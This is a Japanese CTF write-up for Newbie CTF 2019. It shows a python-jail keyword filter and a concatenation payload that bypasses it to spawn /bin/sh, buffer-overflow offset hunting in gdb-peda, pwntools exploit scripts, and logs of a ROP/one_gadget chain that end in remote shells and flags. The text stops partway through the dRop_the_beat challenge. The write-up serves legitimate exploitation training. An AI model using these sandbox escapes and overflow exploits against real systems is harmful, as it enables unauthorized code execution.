[*] payload: b'VibEv7xCXyK8AjPPRjwtp9X\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
[*] canary: 0x4825f2e85b094000
[*] payload: b'VibEv7xCXyK8AjPPRjwtp9X\x00AAAAAAAA/proc/self/maps\x00\n'
[*] /proc/self/maps: 55fe548f0000-55fe548f2000 r-xp 00000000 fd:01 259722                     /home/chall/chall
[*] base_addr: 0x55fe548f0000
[*] pop_rdi: 0x10a3
[*] puts_got: 0x201f88
[*] puts_symbol: 0x840
[*] main_symbol: 0xead
[*] payload: b'VibEv7xCXyK8AjPPRjwtp9X\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\t[\xe8\xf2%H\x00\x00\x00\x00\x00\x00\x00\x00\xa3\x10\x8fT\xfeU\x00\x00\x88\x1f\xafT\xfeU\x00\x00@\x08\x8fT\xfeU\x00\x00\xad\x0e\x8fT\xfeU\x00\x00'
[*] puts_addr: 0x7f42b16779c0
[*] libc_base: 0x7f42b15f7000
[*] one_gadgets: ['0x4f2c5', '0x4f322', '0x10a38c']
[*] payload: b'VibEv7xCXyK8AjPPRjwtp9X\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00@\t[\xe8\xf2%H\x00\x00\x00\x00\x00\x00\x00\x00\x8c\x13p\xb1B\x7f\x00\x00'
[*] Switching to interactive mode
Unknown error$ id
uid=1001(chall) gid=1001(chall) groups=1001(chall)
$ ls
_r3al_fl4g_eTF8eO9k4LkAOqrl4_r341_fla6__.txt
chall
flag.txt
sacred
secret.txt
setup.sh
$ cat _r3al_fl4g_eTF8eO9k4LkAOqrl4_r341_fla6__.txt
CTF-BR{Fiiine...Im_not_ashamed_to_say_that_the_expected_solution_was_reading_/dev/fd/../maps_How_did_y0u_s0lve_1t?}
$

FLAG

CTF-BR{Fiiine...Im_not_ashamed_to_say_that_the_expected_solution_was_reading_/dev/fd/../maps_How_did_y0u_s0lve_1t?}

Newbie CTF 2019 Writeup

Newbie CTF 2019 について

Newbie CTF 2019 が開催されました。
2019年11月02日午前0時~2019年11月03日午前0時(24時間)
※ 開始後に何度かサーバトラブルがあり、結局3時間延長となりました。

nctf.vulnerable.kr

韓国のCTFチームKorNewbieが主催のCTFです。 難易度は、結構低めでpicoCTFの400~500点ぐらいの難易度ぐらいという印象でした。 今回もチームで参加しました。チームメンバが4問解いてくれました。 結果は、14/566位で、11874点でした。 私も14問解くことができたので、そのWriteupを紹介します。

f:id:tsalvia:20191103124453p:plain

Newbie CTF 2019 Writeup(14問)

python_jail(Pwnable)

問題

Hi! Welcome to pyjail!
Escape Jail If you can!
Author: SPark
nc prob.vulnerable.kr 20001

解答例

netcatで接続すると、以下のようなメッセージが出てきました。

$ nc prob.vulnerable.kr 20001
Hi! Welcome to pyjail!
========================================================================
#! /usr/bin/python3
#-*- coding:utf-8 -*-
def main():
    print("Hi! Welcome to pyjail!")
    print("========================================================================")
    print(open(__file__).read())
    print("========================================================================")
    print("RUN")
    text = input('>>> ')
    for keyword in ['eval', 'exec', 'import', 'open', 'os', 'read', 'system', 'write']:
        if keyword in text:
            print("No!!!")
            return;
    else:
        exec(text)
if __name__ == "__main__":
    main()
========================================================================
RUN
>>> 

どうやらpythonから抜け出すことが目的のようです。 ただし、いくつかのキーワード(eval、exec、import、open、os、read、system、write)が禁止となっているようです。

色々と試しながら調整をしていると、 以下の入力で、各キーワードを回避しながらシェルを起動させることに成功しました。

__builtins__.__dict__['ev'+'al']('__imp'+'ort__(\"o'+'s\").sys'+'tem(\"/bin/sh\")')

実際に入力すると、以下のようになります。

$ nc prob.vulnerable.kr 20001
Hi! Welcome to pyjail!
========================================================================
#! /usr/bin/python3
#-*- coding:utf-8 -*-
def main():
    print("Hi! Welcome to pyjail!")
    print("========================================================================")
    print(open(__file__).read())
    print("========================================================================")
    print("RUN")
    text = input('>>> ')
    for keyword in ['eval', 'exec', 'import', 'open', 'os', 'read', 'system', 'write']:
        if keyword in text:
            print("No!!!")
            return;
    else:
        exec(text)
if __name__ == "__main__":
    main()
========================================================================
RUN
>>> __builtins__.__dict__['ev'+'al']('__imp'+'ort__(\"o'+'s\").sys'+'tem(\"/bin/sh\")')
id
uid=1000(python_jail) gid=1000(python_jail) groups=1000(python_jail)
cat /home/python_jail/flag
KorNewbie{H311o_h0w_@r3_y0u_d0lng?}

FLAG

KorNewbie{H311o_h0w_@r3_y0u_d0lng?}

babypwn(Pwnable)

問題

This Challenge remake...
i want many solve!!!
do you know Buffer Overflow???

nc prob.vulnerable.kr 20035
Author : 이도현

添付ファイル

  • babypwn

解答例

とりあえず、fileコマンドとchecksecコマンドを打ってみます。 問題文通り、バッファオーバーフローができそうです。

$ file babypwn 
babypwn: ELF 64-bit LSB  executable, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=bba69da963702e6c7c0dbdcda99c6c050c1894e0, not stripped
$ checksec babypwn 
[*] '/root/workdir/babypwn/babypwn'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE

Ghidraでも開いてみます。 getsのところでバッファオーバーフローさせて、flag2関数に呼び出せば、シェルが取れそうです。

f:id:tsalvia:20191103141254p:plain

次にgdb-pedaのpattcとpattoを使ってオーバーフローする場所を確かめます。 1032文字でオーバーフローするようです。

gdb-peda$ pattc 1100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6AsLAshAs7AsMAsiAs8AsNAsjAs9AsOAskAsPAslAsQAsmAsRAsoAsSAspAsTAsqAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAsxAsyAszAB%ABsABBAB$ABnABCAB-AB(ABDAB;AB)ABEABaAB0ABFABbAB1ABGABcAB2ABHABdAB3ABIABeAB4ABJABfAB5ABKABgAB6ABLABhAB7ABMABiAB8ABNABjAB9ABOABkABPABlABQABmABRABoABSABpABTABqABUABrABVABtABWABuABXABvABYABwABZABxAByABzA$%A$sA$BA$$A$nA$CA$-A$(A$DA$;A$)A$EA$aA$0A$FA$bA$1A$GA$cA$2A$HA$dA$3A$IA$eA$4A$JA$fA$5A$KA$gA$6A$LA$hA$7A$MA$iA$8A$NA$jA$9A$OA$kA$PA$lA$QA$mA$RA$oA$SA$pA$TA$qA$UA$rA$VA$tA$WA$uA$XA$vA$YA$wA$ZA$xA$yA$zAn%AnsAnBAn$AnnAnCAn-An(AnDAn;An)AnEAnaAn0AnFAnbAn1AnGAncAn2AnHAndAn3AnIAneAn4AnJAnfAn5AnKAngA'
gdb-peda$ run
Starting program: /root/workdir/babypwn/babypwn 
How is the weather today? : AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfAs5AsKAsgAs6AsLAshAs7AsMAsiAs8AsNAsjAs9AsOAskAsPAslAsQAsmAsRAsoAsSAspAsTAsqAsUAsrAsVAstAsWAsuAsXAsvAsYAswAsZAsxAsyAszAB%ABsABBAB$ABnABCAB-AB(ABDAB;AB)ABEABaAB0ABFABbAB1ABGABcAB2ABHABdAB3ABIABeAB4ABJABfAB5ABKABgAB6ABLABhAB7ABMABiAB8ABNABjAB9ABOABkABPABlABQABmABRABoABSABpABTABqABUABrABVABtABWABuABXABvABYABwABZABxAByABzA$%A$sA$BA$$A$nA$CA$-A$(A$DA$;A$)A$EA$aA$0A$FA$bA$1A$GA$cA$2A$HA$dA$3A$IA$eA$4A$JA$fA$5A$KA$gA$6A$LA$hA$7A$MA$iA$8A$NA$jA$9A$OA$kA$PA$lA$QA$mA$RA$oA$SA$pA$TA$qA$UA$rA$VA$tA$WA$uA$XA$vA$YA$wA$ZA$xA$yA$zAn%AnsAnBAn$AnnAnCAn-An(AnDAn;An)AnEAnaAn0AnFAnbAn1AnGAncAn2AnHAndAn3AnIAneAn4AnJAnfAn5AnKAngA
[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x0 
RCX: 0x44c 
RDX: 0x7ffff7dd59e0 --> 0x0 
RSI: 0x7ffffbb3 
RDI: 0x1 
RBP: 0x6e41286e412d6e41 ('An-An(An')
RSP: 0x7fffffffe4c8 ("DAn;An)AnEAnaAn0AnFAnbAn1AnGAncAn2AnHAndAn3AnIAneAn4AnJAnfAn5AnKAngA")
RIP: 0x400603 (<main+77>:       ret)
R8 : 0x6e417a2441792441 ('A$yA$zAn')
R9 : 0x41426e41736e4125 ('%AnsAnBA')
R10: 0x7ffff7dd26a0 --> 0x0 
R11: 0x246 
R12: 0x4004c0 (<_start>:        xor    ebp,ebp)
R13: 0x7fffffffe5a0 --> 0x1 
R14: 0x0 
R15: 0x0
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x4005f8 <main+66>:  call   0x400480 <printf@plt>
   0x4005fd <main+71>:  mov    eax,0x0
   0x400602 <main+76>:  leave  
=> 0x400603 <main+77>:  ret    
   0x400604 <flag1>:    push   rbp
   0x400605 <flag1+1>:  mov    rbp,rsp
   0x400608 <flag1+4>:  sub    rsp,0x10
   0x40060c <flag1+8>:  mov    DWORD PTR [rbp-0x4],0x0
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe4c8 ("DAn;An)AnEAnaAn0AnFAnbAn1AnGAncAn2AnHAndAn3AnIAneAn4AnJAnfAn5AnKAngA")
0008| 0x7fffffffe4d0 ("nEAnaAn0AnFAnbAn1AnGAncAn2AnHAndAn3AnIAneAn4AnJAnfAn5AnKAngA")
0016| 0x7fffffffe4d8 ("AnFAnbAn1AnGAncAn2AnHAndAn3AnIAneAn4AnJAnfAn5AnKAngA")
0024| 0x7fffffffe4e0 ("1AnGAncAn2AnHAndAn3AnIAneAn4AnJAnfAn5AnKAngA")
0032| 0x7fffffffe4e8 ("n2AnHAndAn3AnIAneAn4AnJAnfAn5AnKAngA")
0040| 0x7fffffffe4f0 ("An3AnIAneAn4AnJAnfAn5AnKAngA")
0048| 0x7fffffffe4f8 ("eAn4AnJAnfAn5AnKAngA")
0056| 0x7fffffffe500 ("nfAn5AnKAngA")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000000000400603 in main ()
gdb-peda$ patto DAn;An)AnEAnaAn0AnFAnbAn1AnGAncAn2AnHAndAn3AnIAneAn4AnJAnfAn5AnKAngA
DAn;An)AnEAnaAn0AnFAnbAn1AnGAncAn2AnHAndAn3AnIAneAn4AnJAnfAn5AnKAngA found at offset: 1032
gdb-peda$ 

以下のようなスクリプトを作成しました。

from pwn import *

ARCH = "amd64"
FILE = "./babypwn"
LIBC = ""
HOST = "prob.vulnerable.kr"
PORT = 20035

def exploit(con, elf, libc, rop):
    flag_symbol = elf.symbols[b"flag2"]
    log.info("flag symbol: {}".format(hex(flag_symbol)))

    offset = 1032
    payload = b"A" * offset
    payload += pack(flag_symbol)
    log.info("payload: {}".format(payload))
    con.sendline(payload)

def main():
    context(arch=ARCH, os="linux")

    if args["REMOTE"]:
        con = remote(HOST, PORT)
    else:
        con = process([FILE])

    elf = ELF(FILE)
    if LIBC != "":
        libc = ELF(LIBC)
    else:
        libc = ""
    rop = ROP(elf)
    exploit(con, elf, libc, rop)
    con.interactive()

if __name__ == "__main__":
    main()

実行すると、シェルが取れました。

$ python exploit.py REMOTE
[+] Opening connection to prob.vulnerable.kr on port 20035: Done
[*] '/root/workdir/babypwn/babypwn'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE
[*] Loaded cached gadgets for './babypwn'
[*] flag symbol: 0x400636
[*] payload: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA6\x06@\x00\x00\x00\x00\x00'
[*] Switching to interactive mode
$ id
uid=1000(babypwn) gid=1000(babypwn) groups=1000(babypwn)
$ cat /home/babypwn/flag
KorNewbie{Th1s_1S_R34L_Fl4g_C0ngr4tu14ti0n5!}$

FLAG

KorNewbie{Th1s_1S_R34L_Fl4g_C0ngr4tu14ti0n5!}

OneShot_OneKill(Pwnable)

問題

You have just one bullet.... kill him! Author: Y311J(신재욱)
nc prob.vulnerable.kr 20026

添付ファイル

  • oneshot_onekill

解答例

とりあえず、fileコマンドとchecksecコマンドを打ってみます。 バッファオーバーフローができそうです。

$ file oneshot_onekill 
oneshot_onekill: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=02fcb5d276e425265c5490b5d01b344bfbb2b7d1, not stripped
$ checksec oneshot_onekill 
[*] '/root/workdir/oneshot_onekill/oneshot_onekill'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE

Ghidraでも開いてみます。 getsのところでバッファオーバーフローさせて、oneshot関数に呼び出せば、フラグが表示されそうです。

f:id:tsalvia:20191103151042p:plain

次にgdb-pedaのpattcとpattoを使ってオーバーフローする場所を確かめます。 304文字でオーバーフローするようです。

gdb-peda$ pattc 400
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y'
gdb-peda$ run
Starting program: /root/workdir/oneshot_onekill/oneshot_onekill 
Do you know basic of BOF?
This prob is for newbie pwner, so it is x32 binary
This Environment has only ASLR and NX, NO other migitations
Can you Exploit it?
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-
A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y
[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0xf7fcb000 --> 0x1a9da8 
ECX: 0xf7fcbb07 --> 0xfcc8980a 
EDX: 0xf7fcc898 --> 0x0 
ESI: 0x0 
EDI: 0x0 
EBP: 0x6825414c ('LA%h')
ESP: 0xffffd5e0 ("%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y")
EIP: 0x41372541 ('A%7A')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41372541
[------------------------------------stack-------------------------------------]
0000| 0xffffd5e0 ("%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y")
0004| 0xffffd5e4 ("iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y")
0008| 0xffffd5e8 ("A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y")
0012| 0xffffd5ec ("%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y")
0016| 0xffffd5f0 ("9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y")
0020| 0xffffd5f4 ("A%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y")
0024| 0xffffd5f8 ("%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y")
0028| 0xffffd5fc ("lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41372541 in ?? ()
gdb-peda$ patto 0x41372541
1094133057 found at offset: 304

以下のようなスクリプトを作成しました。

from pwn import *

ARCH = "i386"
FILE = "./oneshot_onekill"
LIBC = ""
HOST = "prob.vulnerable.kr"
PORT = 20026

def exploit(con, elf, libc, rop):
    oneshot_symbol = elf.symbols[b"oneshot"]
    log.info("oneshot symbol: {}".format(hex(oneshot_symbol)))

    offset = 304
    payload = b"A" * offset
    payload += pack(oneshot_symbol)
    log.info("payload: {}".format(payload))
    con.sendline(payload)

def main():
    context(arch=ARCH, os="linux")

    if args["REMOTE"]:
        con = remote(HOST, PORT)
    else:
        con = process([FILE])

    elf = ELF(FILE)
    if LIBC != "":
        libc = ELF(LIBC)
    else:
        libc = ""
    rop = ROP(elf)
    exploit(con, elf, libc, rop)
    con.interactive()

if __name__ == "__main__":
    main()

実行すると、フラグが表示されます。

$ python exploit.py REMOTE
[+] Opening connection to prob.vulnerable.kr on port 20026: Done
[*] '/root/workdir/oneshot_onekill/oneshot_onekill'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE
[*] Loaded cached gadgets for './oneshot_onekill'
[*] oneshot symbol: 0x80485a5
[*] payload: b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xa5\x85\x04\x08'
[*] Switching to interactive mode
Do you know basic of BOF?
This prob is for newbie pwner, so it is x32 binary
This Environment has only ASLR and NX, NO other migitations
Can you Exploit it?
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xa5\x85\x0
KorNewbie{Nice_Sh0T_N3wbie_Pwner!$#}
:(....One Shot.. One Kill..[*] Got EOF while reading in interactive
$

FLAG

KorNewbie{Nice_Sh0T_N3wbie_Pwner!$#}

dRop_the_beat(Pwnable)

問題

dRop the Beat DJ!!
Author: Y311J(신재욱)
nc prob.vulnerable.kr 20002

添付ファイル

  • drop_the_beat_easy
  • libc.so.6

解答例

とりあえず、fileコマンドとchecksecコマンドを実行してみます。 32bitのELFファイルで、バッファオーバーフローもできそうです。

$ file drop_the_beat_easy libc.so.6 
drop_the_beat_easy: ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.32, BuildID[sha1]=f939bdeeebda44feabe09476f2c6bbd6ed32c42a, not stripped
libc.so.6:          ELF 32-bit LSB  shared object, Intel 80386, version 1 (GNU/Linux), dynamically linked (uses shared libs), BuildID[sha1]=9a6b57c7a4f93d7e54e61bccb7df996c8bc58141, for GNU/Linux 2.6.32, stripped
$ checksec drop_the_beat_easy libc.so.6 
[*] '/root/workdir/drop/drop_the_beat_easy'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE
[*] '/root/workdir/drop/libc.so.6'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

次にGhidraでデコンパイルしてみました。39行目のところでバッファローできそうです。 ただし、今回は、呼び出してフラグが表示されそうな関数は見当たりませんでした。

f:id:tsalvia:20191104160013p:plain

今回は、libcファイルが提供されています。 提供されたlibcファイルでROPチェインを作成し、シェルを起動させる方針で進めていきます。

やるべき作業は、以下の3点です。

  1. バッファオーバーフロー位置の特定
  2. libcのベースアドレスの特定
  3. ROPチェインの作成

まずは、gdb-pedaのpattcとpattoでバッファオーバーフロー位置を特定します。

gdb-peda$ pattc 400
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y'
gdb-peda$ run
Starting program: /root/workdir/drop/drop_the_beat_easy 
      dP  888888ba   .88888.   888888ba       dP   dP                   dP                           dP   
      88  88    `8b d8'   `8b  88    `8b      88   88                   88                           88   
.d888b88 a88aaaa8P' 88     88 a88aaaa8P'    d8888P 88d888b. .d8888b.    88d888b. .d8888b. .d8888b. d8888P 
88'  `88  88   `8b. 88     88  88             88   88'  `88 88ooood8    88'  `88 88ooood8 88'  `88   88   
88.  .88  88     88 Y8.   .8P  88             88   88    88 88.  ...    88.  .88 88.  ... 88.  .88   88   
`88888P8  dP     dP  `8888P'   dP             dP   dP    dP `88888P'    88Y8888' `88888P' `88888P8   dP   
oooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo

dROP The beat(easy version)

1) Give Him a Beat!
2) No Beat For You..!
1
Give Me a Beat!!
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-
A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%oA%SA%pA%TA%qA%UA%rA%VA%tA%WA%uA%XA%vA%YA%wA%ZA%xA%y
[----------------------------------registers-----------------------------------]
EAX: 0x0 
EBX: 0xf7fcb000 --> 0x1a9da8 
ECX: 0xf7fcbb07 --> 0xfcc8980a 
EDX: 0xf7fcc898 --> 0x0 
ESI: 0x0 
EDI: 0x0 
EBP: 0x41684141 ('AAhA')
ESP: 0xffffd5f0 ("MAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%\267\335\377\
377\243\336\377\377"...)
EIP: 0x41413741 ('A7AA')
EFLAGS: 0x10292 (carry parity ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41413741
[------------------------------------stack-------------------------------------]
